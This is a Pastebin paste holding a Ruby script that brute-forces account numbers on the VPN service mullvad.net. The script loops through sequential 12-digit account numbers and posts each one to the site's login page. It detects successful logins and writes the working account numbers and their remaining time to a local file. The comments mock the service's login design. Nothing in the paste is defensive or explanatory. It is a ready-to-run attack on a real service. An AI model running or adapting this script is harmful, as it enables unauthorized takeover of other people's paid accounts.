Advertisement
Guest User

mullvad.net Brute Force

a guest
Sep 22nd, 2014
1,857
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 1.39 KB | None | 0 0
  1. #Mullvad.net Supposedly is safe and secure.
  2. #However their login method is fairly stupid.
  3. #All you need is an account number.
  4. #This will brute force account numbers and print to file any accounts found with data
  5. #If in windows download a CAcert to this location and set it by running this in cmd
  6. #set SSL_CERT_FILE=C:\Ruby200\cacert.pem
  7. #Mullvad.net Brute Forcer
  8. require 'open-uri'
  9. require 'net/http'
  10. require 'openssl'
  11.  
  12. #set SSL_CERT_FILE=C:\Ruby200\cacert.pem
  13.  
  14. def page_data(page, data)
  15.     puts 'Successful Login'
  16.     puts ''
  17.     #puts "#{page}"
  18.     page.gsub!(/\s/, '').gsub!(/\n/, '') #kill spaces and new lines
  19.     #puts page
  20.     time = page.match(/Timeleft:<.strong>(.)<.p>/)  #prints what you need, plus bullshit in front
  21.     #time.gsub!(/.*g>/, '')
  22.     puts time
  23.    
  24.     write = File.open('mullvad.txt', 'a')
  25.     write.puts "Account: #{data} #{time}\n"
  26. end
  27.  
  28. data = "200875416016"
  29. attempts = "0"
  30.  
  31. loop do
  32.     uri = URI.parse('https://mullvad.net')
  33.     http = Net::HTTP.new( uri.host, uri.port )
  34.     http.use_ssl = (uri.scheme == 'https')
  35.     data = data.next
  36.     attempts = attempts.next
  37.     puts "Attempted Account: #{data}"
  38.     request = Net::HTTP::Post.new( "/en/account/" )
  39.     request.set_form_data({'account' => "#{data}"})
  40.     response = http.request( request )
  41.     page = response.body.to_s
  42.     puts "Attempts #{attempts}"
  43.     puts ""
  44.     puts "Failed Login" if page =~ /Not logged in/
  45.     puts page_data(page, data) if page =~ /Ports/
  46. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement